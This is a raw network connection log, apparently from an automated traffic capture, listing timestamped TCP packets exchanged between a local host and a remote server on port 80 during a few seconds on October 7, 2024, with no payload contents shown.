Oct 7, 2024 18:00:27.203505039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203516960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203531981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203553915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203694105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203706980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203718901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203732014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203736067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203743935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203754902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203756094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203766108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203799963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203990936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204005957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204020023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204035044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.204066992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.204224110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204237938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204250097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204261065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204268932 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.204273939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204304934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.204324007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.204458952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204469919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204482079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204493999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204503059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.204505920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204516888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.204524994 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.204557896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.206546068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206557989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206571102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206587076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206598997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206609964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.206630945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206643105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206645966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.206655025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206666946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206677914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.206685066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206697941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.206697941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206711054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206721067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206724882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.206733942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.206752062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.206768990 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284008980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284085989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284099102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284128904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284162998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284214020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284226894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284239054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284252882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284265995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284291983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284305096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284317970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284329891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284348965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284375906 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284548044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284559965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284571886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284583092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284590960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284595966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284606934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284619093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284620047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284631014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284642935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284651995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284655094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284666061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284672976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284677982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284687042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284693003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284715891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284735918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284948111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284961939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284974098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284985065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.284990072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.284996986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285022974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285048962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285217047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285228968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285238981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285249949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285259008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285262108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285280943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285310984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285413980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285425901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285435915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285446882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285454988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285456896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285468102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285479069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285486937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285490036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285506964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285557985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285557985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285741091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285753965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285763979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285774946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285779953 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285784960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285795927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285805941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.285806894 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.285840988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286209106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286221981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286233902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286243916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286256075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286266088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286267042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286274910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286278963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286289930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286323071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286340952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286341906 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286359072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286386967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286397934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286411047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286422968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286433935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286443949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286451101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286465883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286484957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286921024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286932945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286945105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.286962986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.286988020 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.287039042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287050009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287056923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287066936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287080050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.287111998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.287211895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287225962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287235022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287245989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287254095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.287256956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287267923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.287280083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.287308931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.390017033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.395011902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.559037924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.559111118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.559166908 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.559206009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.559257030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.559268951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.559281111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.559308052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.559349060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.559422016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.559470892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.561681986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.561757088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.561794996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.561805964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.561845064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562146902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562192917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562220097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562232018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562259912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562278986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562319994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562330008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562340021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562350988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562361956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562371969 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562401056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562446117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562454939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562465906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562474966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562484980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562494993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562495947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562535048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562547922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562666893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562676907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562686920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562697887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562707901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562707901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562725067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562760115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562925100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562936068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562944889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562959909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562967062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562971115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562979937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562988997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.562994003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.562998056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563010931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563019991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563030005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563034058 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563040018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563050032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563085079 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563085079 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563113928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563288927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563299894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563309908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563321114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563329935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563335896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563339949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563349962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563359022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563364983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563370943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563380957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563388109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563416004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563607931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563618898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563628912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563632965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563638926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563642025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563644886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563652992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563657045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563663006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563672066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563678980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563682079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563692093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563703060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563734055 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563771009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563939095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563949108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563957930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563966990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563977003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563982010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.563982964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.563991070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564001083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564011097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564023972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564063072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564220905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564263105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564264059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564274073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564282894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564304113 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564351082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564367056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564377069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564387083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564395905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564405918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564412117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564416885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564416885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564426899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564451933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564472914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564522982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564557076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564563036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564591885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564632893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564642906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564651966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564675093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564693928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564759970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564769983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564779043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564788103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564796925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564798117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564806938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564831018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564861059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.564956903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564966917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564976931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564986944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.564996958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565004110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565031052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565073967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565084934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565093994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.565116882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.565171003 CEST	80	49718	46.8.231.109	192.168.2.6
